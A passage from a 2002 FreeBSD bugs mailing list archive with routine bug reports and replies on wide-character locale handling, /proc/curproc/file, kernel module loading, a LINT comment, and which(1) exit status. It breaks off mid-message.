Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org > > I know that ISO8859-2 is not multibyte encoding, but in fact gnumeric, > > gedit (and I believe a lot of other software) expect the multibyte > > functions to work anyway (and to work as "translate characters from > > current locale's encoding to UNICODE" and reverse). > > They are broken. (Or perhaps they are relying on new behavior in C99, > but I rather doubt it.) OK, I accept it, will try to send bugreport to gnome team. bye Tomas Pluskal To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sat Mar 9 3:40:17 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id 277F937B416 for ; Sat, 9 Mar 2002 03:40:04 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g29Be4r97337; Sat, 9 Mar 2002 03:40:04 -0800 (PST) (envelope-from gnats) Received: from mailoutvl21.berlin.de (mail.berlin.de [195.243.105.33]) by hub.freebsd.org (Postfix) with ESMTP id A40AA37B404 for ; Sat, 9 Mar 2002 03:33:05 -0800 (PST) Received: from herceg.de ([213.7.184.60]) by mailoutvl21.berlin.de (InterMail vK.4.03.05.00 201-232-132 license c0e4b842f1eddc5308d584e55543c802) with ESMTP id <20020309113508.GRUF27460.mailoutvl21@herceg.de> for ; Sat, 9 Mar 2002 12:35:08 +0100 Received: (from eserte@localhost) by vran.herceg.de (8.11.4/8.9.3) id g29BS7103320; Sat, 9 Mar 2002 12:28:07 +0100 (CET) (envelope-from eserte) Message-Id: <200203091128.g29BS7103320@vran.herceg.de> Date: Sat, 9 Mar 2002 12:28:07 +0100 (CET) From: Slaven Rezic Reply-To: Slaven Rezic To: FreeBSD-gnats-submit@freebsd.org X-Send-Pr-Version: 3.113 Subject: kern/35703: /proc/curproc/file returns unknown Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org >Number: 35703 >Category: kern >Synopsis: /proc/curproc/file returns unknown >Confidential: no >Severity: serious >Priority: medium >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Sat Mar 09 03:40:04 PST 2002 >Closed-Date: >Last-Modified: >Originator: Slaven Rezic >Release: FreeBSD 4.3-STABLE i386 >Organization: www.rezic.de >Environment: System: FreeBSD vran.herceg.de 4.3-STABLE FreeBSD 4.3-STABLE #6: Mon Jul 9 11:49:47 CEST 2001 root@vran.herceg.de:/vran/home/src/FreeBSD-4/src/sys/compile/VRAN i386 >Description: Under some circumstances, the symbolic link /proc//file points to "unknown". In my experiments it seems that this is the case if a directory is created and/or removed in the as the executable and the executable is called with a relative path. Some of the sysctl variables vfs.cache.numfullpathfail[1-4] are increased. This problem causes one test failure in perl5.7.3. >How-To-Repeat: Compile the program below: ---------------------------------------------------------------------- #include main() { char buf[1024]; int len = readlink("/proc/curproc/file", buf, 1024); if (!len) exit(1); buf[len]=0; printf("<%s>\n", buf); } ---------------------------------------------------------------------- If run as ./a.out, it works OK. However, if a subdirectory in the same directory is deleted, then the program returns "unknown": mkdir foo ; rmdir foo ; ./a.out This works again: mkdir foo ; rmdir foo ; `pwd`/a.out >Fix: ??? >Release-Note: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sat Mar 9 4:12:29 2002 Delivered-To: freebsd-bugs@freebsd.org Received: from s096-n062.tele2.cz (s096-n062.tele2.cz [213.246.96.62]) by hub.freebsd.org (Postfix) with ESMTP id 2CEA937B417; Sat, 9 Mar 2002 04:12:24 -0800 (PST) Received: from localhost (plusik@localhost) by s096-n062.tele2.cz (8.11.6/8.11.6) with ESMTP id g29CAN605527; Sat, 9 Mar 2002 13:10:23 +0100 (CET) (envelope-from plusik@pohoda.cz) X-Authentication-Warning: s096-n062.tele2.cz: plusik owned process doing -bs Date: Sat, 9 Mar 2002 13:10:23 +0100 (CET) From: Tomas Pluskal X-X-Sender: plusik@s096-n062.tele2.cz To: Garrett Wollman Cc: freebsd-i18n@FreeBSD.ORG, Subject: Re: multibyte(3) functions not working ? In-Reply-To: <200203082129.g28LTf644313@khavrinen.lcs.mit.edu> Message-ID: <20020309130309.H5448-100000@s096-n062.tele2.cz> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org > They are broken. (Or perhaps they are relying on new behavior in C99, > but I rather doubt it.) I am forwarding a message from Vlad Harchev : ========================================================================== Hi, I believe BSD guys are just wrong. There is no trace in any specs (I checked Unix98 specs) that mbstowcs and friends should work only for multibyte encodings. So it should be treated as "should work for any encoding". It's also obvious that singlebyte encoding can be considered multibyte (but without shift states) - so their statement could work against themselves. BSD guys should fix locale support in their libc or modify all my patches not to use some other portable and working way (probably using iconv(3)). I won't help with this for free. Best regards, -Vlad ============================================================================ I have a simple question: according to man pages, the wctomb() function should convert wide-char to its multibyte equivalent. When I pass a wide-char (like any non-latin1 character, for example 0x161 in unicode) to this function, it should return its multibyte equivalent. But the character is not in ascii (latin1) table. There are many encodings which contain this character, and all of them contain it as just one byte (as Vlad said, singlebyte is also multibyte). So the function should return the one byte character in one of the possible encodings, but which one ? The current locale's encoding seems to me like a good choice. Tomas Pluskal To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sat Mar 9 5:40:10 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id 228D437B405 for ; Sat, 9 Mar 2002 05:40:07 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g29De6w25295; Sat, 9 Mar 2002 05:40:06 -0800 (PST) (envelope-from gnats) Date: Sat, 9 Mar 2002 05:40:06 -0800 (PST) Message-Id: <200203091340.g29De6w25295@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.org Cc: From: David Malone Subject: Re: kern/35703: /proc/curproc/file returns unknown Reply-To: David Malone Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org The following reply was made to PR kern/35703; it has been noted by GNATS. From: David Malone To: Slaven Rezic Cc: FreeBSD-gnats-submit@freebsd.org Subject: Re: kern/35703: /proc/curproc/file returns unknown Date: Sat, 9 Mar 2002 13:36:00 +0000 On Sat, Mar 09, 2002 at 12:28:07PM +0100, Slaven Rezic wrote: > If run as ./a.out, it works OK. > However, if a subdirectory in the same directory is deleted, > then the program returns "unknown": > > mkdir foo ; rmdir foo ; ./a.out > > This works again: > > mkdir foo ; rmdir foo ; `pwd`/a.out This is the same problem which sometimes caused the Linux emulators getcwd to fail. The linux emulation code has since been fixed to try harder, as Linux applications expect it to. I'm not sure that people would be in favour of making procfs try harder, as procfs doesn't even have to be mounted for most things in FreeBSD now. If you did want to try and fix it, then the place to start looking would be at the Linux emulation getcwd code in /usr/src/sys/compat/linux/linux_getcwd.c. David. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sat Mar 9 7:31:21 2002 Delivered-To: freebsd-bugs@freebsd.org Received: from frl.nisser.com (c0039.upc-c.chello.nl [212.187.0.39]) by hub.freebsd.org (Postfix) with ESMTP id AC36E37B402; Sat, 9 Mar 2002 07:31:17 -0800 (PST) Received: from nisser.com (roelof.nisser.com [10.0.0.2]) by frl.nisser.com (Postfix) with ESMTP id 23209EA11; Sat, 9 Mar 2002 16:31:12 +0100 (CET) Message-ID: <3C8A2AC0.4270A6D6@nisser.com> Date: Sat, 09 Mar 2002 16:31:12 +0100 From: Roelof Osinga Organization: eBOA - Programming the Web X-Mailer: Mozilla 4.79 [en] (Windows NT 5.0; U) X-Accept-Language: en,pdf MIME-Version: 1.0 To: dd@FreeBSD.org Cc: freebsd-bugs@FreeBSD.org Subject: Re: misc/34847: oversight in LINT documentation line References: <200203090417.g294HIE94631@freefall.freebsd.org> Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org dd@FreeBSD.org wrote: > > Synopsis: oversight in LINT documentation line > > State-Changed-From-To: open->feedback > State-Changed-By: dd > State-Changed-When: Fri Mar 8 20:16:52 PST 2002 > State-Changed-Why: > The 4.5 version seems to be correct. Could you be more explicit in > what you think the problem is? > > http://www.FreeBSD.org/cgi/query-pr.cgi?pr=34847 It is incorrect in that connection speed seems to be set by that option to 115200 baud, yet the comment line following that very action states that the default speed is 9600 baud. That discrepancy was not present in 4.2. Explicit? All I'm trying to say is that the commentary ought to read "# speed for serial console (default 115200)". Is all. When talking from the perspective of the kernel build. By setting that option that becomes the default speed. Maybe something like "# speed ... console (used to be 9600)" if a hint to old 'default' speed is wanted. It's a matter of interpretation. The (PC) hardware defaults indeed to 9600 bps and Xoff/Xon I believe. But that's the hardware. This is the kernel. It overrides the hardware default and changes it to a new default. Which the sysop can change yet again by stty(1). So what default? I just happend to notice the changed setting and unchanged comment, is all. Furthermore, I can imagine people becoming confused by that very discrepancy. It says two different things. One the action, the other the explanation given for that action. Roelof -- _______________________________________________________________________ eBOA® est. 1982 http://eBOA.com/ tel. +31-58-2123014 mailto:info@eBOA.com?subject=Information_request fax. +31-58-2160293 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sat Mar 9 10: 2:18 2002 Delivered-To: freebsd-bugs@freebsd.org Received: from khavrinen.lcs.mit.edu (khavrinen.lcs.mit.edu [18.24.4.193]) by hub.freebsd.org (Postfix) with ESMTP id E889437B404; Sat, 9 Mar 2002 10:02:12 -0800 (PST) Received: (from wollman@localhost) by khavrinen.lcs.mit.edu (8.11.4/8.11.6) id g29I27A56503; Sat, 9 Mar 2002 13:02:07 -0500 (EST) (envelope-from wollman) Date: Sat, 9 Mar 2002 13:02:07 -0500 (EST) From: Garrett Wollman Message-Id: <200203091802.g29I27A56503@khavrinen.lcs.mit.edu> To: Tomas Pluskal Cc: freebsd-i18n@FreeBSD.ORG, Subject: Re: multibyte(3) functions not working ? In-Reply-To: <20020309130309.H5448-100000@s096-n062.tele2.cz> References: <200203082129.g28LTf644313@khavrinen.lcs.mit.edu> <20020309130309.H5448-100000@s096-n062.tele2.cz> Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org < said: > I have a simple question: according to man pages, the wctomb() function > should convert wide-char to its multibyte equivalent. When I pass a > wide-char (like any non-latin1 character, for example 0x161 in unicode) to > this function, it should return its multibyte equivalent. In the case of the ISO 8859-2 repertoire, all of the wide characters are the same as the narrow characters are the same as the multibyte characters, so wctomb() should not change the value of its argument at all. Somehow, someone has gotten the bizarre idea that wide characters are automatically ISO 10646 -- this is simply not true. (See, e.g., JIS X0208.) The wide character repertoire, like the multibyte encoding, is locale-specific. -GAWollman To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sat Mar 9 10:40:42 2002 Delivered-To: freebsd-bugs@freebsd.org Received: from nagual.pp.ru (pobrecita.freebsd.ru [194.87.13.42]) by hub.freebsd.org (Postfix) with ESMTP id A0D8237B402; Sat, 9 Mar 2002 10:40:38 -0800 (PST) Received: from pobrecita.freebsd.ru (ache@localhost [127.0.0.1]) by nagual.pp.ru (8.12.2/8.12.2) with ESMTP id g29IeXPi076101; Sat, 9 Mar 2002 21:40:36 +0300 (MSK) (envelope-from ache@pobrecita.freebsd.ru) Received: (from ache@localhost) by pobrecita.freebsd.ru (8.12.2/8.12.2/Submit) id g29IeVa6076099; Sat, 9 Mar 2002 21:40:32 +0300 (MSK) Date: Sat, 9 Mar 2002 21:40:31 +0300 From: "Andrey A. Chernov" To: Garrett Wollman Cc: Tomas Pluskal , freebsd-i18n@FreeBSD.ORG, freebsd-bugs@FreeBSD.ORG Subject: Re: multibyte(3) functions not working ? Message-ID: <20020309184030.GA76001@nagual.pp.ru> References: <200203082129.g28LTf644313@khavrinen.lcs.mit.edu> <20020309130309.H5448-100000@s096-n062.tele2.cz> <200203091802.g29I27A56503@khavrinen.lcs.mit.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <200203091802.g29I27A56503@khavrinen.lcs.mit.edu> User-Agent: Mutt/1.3.27i Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org On Sat, Mar 09, 2002 at 13:02:07 -0500, Garrett Wollman wrote: > (See, e.g., JIS X0208.) The wide character repertoire, like the > multibyte encoding, is locale-specific. As POSIX says: "wchar_t Integer type whose range of values can represent distinct wide-character codes for all members of the largest character set specified among the locales supported by the compilation environment: the null character has the code value 0 and each member of the portable character set has a code value equal to its value when used as the lone character in an integer character constant." It supposes that wchar_t _may_ be locale-specific so treating it as Unicode in all cases is plain wrong. -- Andrey A. Chernov http://ache.pp.ru/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sat Mar 9 13: 0:25 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id BC60537B405 for ; Sat, 9 Mar 2002 13:00:00 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g29L00c55915; Sat, 9 Mar 2002 13:00:00 -0800 (PST) (envelope-from gnats) Received: from troutmask.apl.washington.edu (troutmask.apl.washington.edu [128.208.78.105]) by hub.freebsd.org (Postfix) with ESMTP id 96B6437B41A for ; Sat, 9 Mar 2002 12:57:52 -0800 (PST) Received: (from kargl@localhost) by troutmask.apl.washington.edu (8.11.6/8.11.4) id g29Kvlg27662; Sat, 9 Mar 2002 12:57:47 -0800 (PST) (envelope-from kargl) Message-Id: <200203092057.g29Kvlg27662@troutmask.apl.washington.edu> Date: Sat, 9 Mar 2002 12:57:47 -0800 (PST) From: "Steven G. Kargl" Reply-To: "Steven G. Kargl" To: FreeBSD-gnats-submit@freebsd.org X-Send-Pr-Version: 3.113 Subject: kern/35712: kern_linker.c rev. 1.75 and newer break module loading Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org >Number: 35712 >Category: kern >Synopsis: kern_linker.c rev. 1.75 and newer break module loading >Confidential: no >Severity: critical >Priority: high >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Sat Mar 09 13:00:00 PST 2002 >Closed-Date: >Last-Modified: >Originator: Steven G. Kargl >Release: FreeBSD 5.0-CURRENT i386 >Organization: apl/uw >Environment: System: FreeBSD troutmask.apl.washington.edu 5.0-CURRENT FreeBSD 5.0-CURRENT #0: Thu Feb 14 11:34:33 PST 2002 kargl@troutmask.apl.washington.edu:/usr/obj/usr/src/sys/TROUTMASK i386 >Description: This revision Revision 1.75 Fri Feb 22 04:14:49 2002 UTC (2 weeks, 1 day ago) by arr Branch: MAIN Changes since 1.74: +1295 -1271 lines - Massive style fixup. Reviewed by: mike Approved by: dfr breaks the loading of at least linprocfs.ko after a reboot. root[202] cat /boot/loader.conf miibus_load="YES" if_rl_load="YES" snd_pcm_load="YES" snd_maestro3_load="YES" linux_load="YES" agp_load="YES" hint.acpi.0.disable="1" root[203] kldstat Id Refs Address Size Name 1 12 0xc0100000 262e40 kernel 2 1 0xc0363000 18330 linux.ko 3 2 0xc037c000 15480 miibus.ko 4 1 0xc0392000 7798 if_rl.ko 5 2 0xc039a000 1a14c snd_pcm.ko 6 1 0xc03b5000 9538 snd_maestro3.ko 7 1 0xc03bf000 c860 agp.ko 8 1 0xcb052000 2000 blank_saver.ko root[204] kldload linprocfs kldload: can't load linprocfs: Exec format error root[206] tail -1 /var/log/messages Mar 9 10:00:27 kernel: KLD linprocfs.ko: depends on linux - not available root[209] kldunload linux root[210] kldload linux root[211] kldload linprocfs root[213] kldstat Id Refs Address Size Name 1 15 0xc0100000 262e40 kernel 3 2 0xc037c000 15480 miibus.ko 4 1 0xc0392000 7798 if_rl.ko 5 2 0xc039a000 1a14c snd_pcm.ko 6 1 0xc03b5000 9538 snd_maestro3.ko 7 1 0xc03bf000 c860 agp.ko 8 1 0xcb052000 2000 blank_saver.ko 9 2 0xcb425000 14000 linux.ko 10 1 0xcab88000 5000 linprocfs.ko If I back up to revision 1.74 of kern_linker.c, then this problem of "Exec format error" and "KLD linprocfs.ko: depends on linux - not available" goes away. As the commit message for revision 1.75 states "Massive style fixup", I suspect a typo slipped in. However, this is a +1200 line diff and I haven't been able to find it. >How-To-Repeat: reboot kldload linprocfs >Fix: Revert to revision 1.74 >Release-Note: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sat Mar 9 13:26:24 2002 Delivered-To: freebsd-bugs@freebsd.org Received: from zen.estpak.ee (zen.estpak.ee [194.126.101.100]) by hub.freebsd.org (Postfix) with ESMTP id 0B8E337B419; Sat, 9 Mar 2002 13:26:21 -0800 (PST) Received: from myhakas.estpak.ee (myhakas.estpak.ee [194.126.115.54]) by zen.estpak.ee (Postfix) with ESMTP id 263446E90D; Sat, 9 Mar 2002 23:26:19 +0200 (EET) Received: from myhakas.estpak.ee (localhost [127.0.0.1]) by myhakas.estpak.ee (8.12.2/8.12.2) with ESMTP id g29LQI7t017700; Sat, 9 Mar 2002 23:26:18 +0200 (EET) (envelope-from vallo@myhakas.estpak.ee) Received: (from vallo@localhost) by myhakas.estpak.ee (8.12.2/8.12.2/Submit) id g29LQIqM017699; Sat, 9 Mar 2002 23:26:18 +0200 (EET) Date: Sat, 9 Mar 2002 23:26:18 +0200 From: Vallo Kallaste To: gnats-admin@freebsd.org, freebsd-bugs@freebsd.org Subject: Re: kern/35138: -stable kernel crashes after 4.5-RC -> -stable update Message-ID: <20020309212618.GA17647@myhakas.estpak.ee> Reply-To: kalts@estpak.ee References: <200202200939.g1K9dTB78547@myhakas.estpak.ee> <200202200940.g1K9e1I69513@freefall.freebsd.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <200202200940.g1K9e1I69513@freefall.freebsd.org> User-Agent: Mutt/1.5.0i Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org On Wed, Feb 20, 2002 at 01:40:01AM -0800, gnats-admin@freebsd.org wrote: > Thank you very much for your problem report. > It has the internal identification `kern/35138'. > The individual assigned to look at your > report is: freebsd-bugs. > > You can access the state of your problem report at any time > via this link: > > http://www.freebsd.org/cgi/query-pr.cgi?pr=35138 > > >Category: kern > >Responsible: freebsd-bugs > >Synopsis: -stable kernel crashes after 4.5-RC -> -stable update > >Arrival-Date: Wed Feb 20 01:40:01 PST 2002 This PR can be closed. Somewhere in the same timeframe the syncache bug was fixed and we upgraded kernel, it's been up since. -- Vallo Kallaste kalts@estpak.ee To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sat Mar 9 13:32:57 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id 3CBD737B417; Sat, 9 Mar 2002 13:32:55 -0800 (PST) Received: (from roam@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g29LNX163029; Sat, 9 Mar 2002 13:23:33 -0800 (PST) (envelope-from roam) Date: Sat, 9 Mar 2002 13:23:33 -0800 (PST) From: Message-Id: <200203092123.g29LNX163029@freefall.freebsd.org> To: eric@stat.duke.edu, roam@FreeBSD.org, freebsd-bugs@FreeBSD.org Subject: Re: bin/35679: file(1) does not identify OSF/1 binaries Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Synopsis: file(1) does not identify OSF/1 binaries State-Changed-From-To: open->closed State-Changed-By: roam State-Changed-When: Sat Mar 9 13:20:08 PST 2002 State-Changed-Why: As witnessed by the file(1) sources being in the src/contrib/ directory, as well as the presence and contents of the src/contrib/file/FREEBSD-UPGRADE file, file(1) is not developed within FreeBSD, but is imported from the externally developed and maintained file(1) program by Christos Zoulas. You should try to contact Christos directory (he has a history of being quite responsive to suggestions regarding the file(1) magic database) at his e-mail address . Thanks for trying to enhance FreeBSD! http://www.FreeBSD.org/cgi/query-pr.cgi?pr=35679 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sat Mar 9 14:13: 0 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id 386F337B416; Sat, 9 Mar 2002 14:12:55 -0800 (PST) Received: (from des@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g29M97974043; Sat, 9 Mar 2002 14:09:07 -0800 (PST) (envelope-from des) Date: Sat, 9 Mar 2002 14:09:07 -0800 (PST) From: Message-Id: <200203092209.g29M97974043@freefall.freebsd.org> To: tim@robbins.dropbear.id.au, des@FreeBSD.org, freebsd-bugs@FreeBSD.org, des@FreeBSD.org Subject: Re: bin/34898: [PATCH] rev 1.7 of xargs.c broke documented exit status Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Synopsis: [PATCH] rev 1.7 of xargs.c broke documented exit status State-Changed-From-To: open->feedback State-Changed-By: des State-Changed-When: Sat Mar 9 14:08:33 PST 2002 State-Changed-Why: Fixed in -CURRENT, awaiting MFC. Responsible-Changed-From-To: freebsd-bugs->des Responsible-Changed-By: des Responsible-Changed-When: Sat Mar 9 14:08:33 PST 2002 Responsible-Changed-Why: I'll handle the MFC. http://www.FreeBSD.org/cgi/query-pr.cgi?pr=34898 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sat Mar 9 14:40: 8 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id 0996C37B402 for ; Sat, 9 Mar 2002 14:40:03 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g29Me3380868; Sat, 9 Mar 2002 14:40:03 -0800 (PST) (envelope-from gnats) Date: Sat, 9 Mar 2002 14:40:03 -0800 (PST) Message-Id: <200203092240.g29Me3380868@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.org Cc: From: Dima Dorfman Subject: Re: misc/34847: oversight in LINT documentation line Reply-To: Dima Dorfman Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org The following reply was made to PR misc/34847; it has been noted by GNATS. From: Dima Dorfman To: Roelof Osinga Cc: freebsd-gnats-submit@FreeBSD.org Subject: Re: misc/34847: oversight in LINT documentation line Date: Sat, 09 Mar 2002 22:33:59 +0000 Roelof Osinga wrote: > dd@FreeBSD.org wrote: > > > > Synopsis: oversight in LINT documentation line > > > > State-Changed-From-To: open->feedback > > State-Changed-By: dd > > State-Changed-When: Fri Mar 8 20:16:52 PST 2002 > > State-Changed-Why: > > The 4.5 version seems to be correct. Could you be more explicit in > > what you think the problem is? > > > > http://www.FreeBSD.org/cgi/query-pr.cgi?pr=34847 > > It is incorrect in that connection speed seems to be set by that > option to 115200 baud, yet the comment line following that very > action states that the default speed is 9600 baud. That discrepancy > was not present in 4.2. This is not a discrepancy. NOTES/LINT is not supposed to set values to their defaults. Here's the commit that caused the change between 4.2 and 4.5: ---------------------------- revision 1.929 date: 2001/06/21 19:50:11; author: dd; state: Exp; lines: +3 -2 Don't set CONSPEED to the default and deobfuscate the comment. PR: 28296 Submitted by: bde, Giorgos Keramidas ---------------------------- > It's a matter of interpretation. The (PC) hardware defaults indeed > to 9600 bps and Xoff/Xon I believe. But that's the hardware. This > is the kernel. It overrides the hardware default and changes it to > a new default. Which the sysop can change yet again by stty(1). So > what default? The default of 9600 comes from sys/dev/sio/sioreg.h; I think it can later be changed using sysctl, but since CONSPEED is used long before sysctl can be called (e.g., during boot), this is only mildly useful. Perhaps you're confusing CONSPEED with something else? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sat Mar 9 15:30:14 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id DD88F37B41B for ; Sat, 9 Mar 2002 15:30:00 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g29NU0v92157; Sat, 9 Mar 2002 15:30:00 -0800 (PST) (envelope-from gnats) Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id 8B3FF37B402 for ; Sat, 9 Mar 2002 15:21:05 -0800 (PST) Received: (from nobody@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g29NL5Z90855; Sat, 9 Mar 2002 15:21:05 -0800 (PST) (envelope-from nobody) Message-Id: <200203092321.g29NL5Z90855@freefall.freebsd.org> Date: Sat, 9 Mar 2002 15:21:05 -0800 (PST) From: wolfram schneider To: freebsd-gnats-submit@FreeBSD.org X-Send-Pr-Version: www-1.0 Subject: bin/35717: which(1) returns wrong exit status for multiple arguments Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org >Number: 35717 >Category: bin >Synopsis: which(1) returns wrong exit status for multiple arguments >Confidential: no >Severity: non-critical >Priority: low >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Sat Mar 09 15:30:00 PST 2002 >Closed-Date: >Last-Modified: >Originator: wolfram schneider >Release: >Organization: >Environment: >Description: The new c version of which(1) command returns wrong exit status for multiple arguments. $ which foobar cat /bin/cat $ echo $? 1 which should returns true if any of the arguments are found, false if none are found. >How-To-Repeat: >Fix: >Release-Note: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sat Mar 9 15:30:14 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id 1273537B41F for ; Sat, 9 Mar 2002 15:30:01 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g29NU1H92175; Sat, 9 Mar 2002 15:30:01 -0800 (PST) (envelope-from gnats) Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id A010237B416 for ; Sat, 9 Mar 2002 15:23:54 -0800 (PST) Received: (from nobody@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g29NNsl91233; Sat, 9 Mar 2002 15:23:54 -0800 (PST) (envelope-from nobody) Message-Id: <200203092323.g29NNsl91233@freefall.freebsd.org> Date: Sat, 9 Mar 2002 15:23:54 -0800 (PST) From: wolfram schneider To: freebsd-gnats-submit@FreeBSD.org X-Send-Pr-Version: www-1.0 Subject: bin/35719: which(1) ignore empty components of $PATH. Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org >Number: 35719 >Category: bin >Synopsis: which(1) ignore empty components of $PATH. >Confidential: no >Severity: non-critical >Priority: low >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Sat Mar 09 15:30:00 PST 2002 >Closed-Date: >Last-Modified: >Originator: wolfram schneider >Release: >Organization: >Environment: >Description: The new c version of which(1) command ignore empty components of 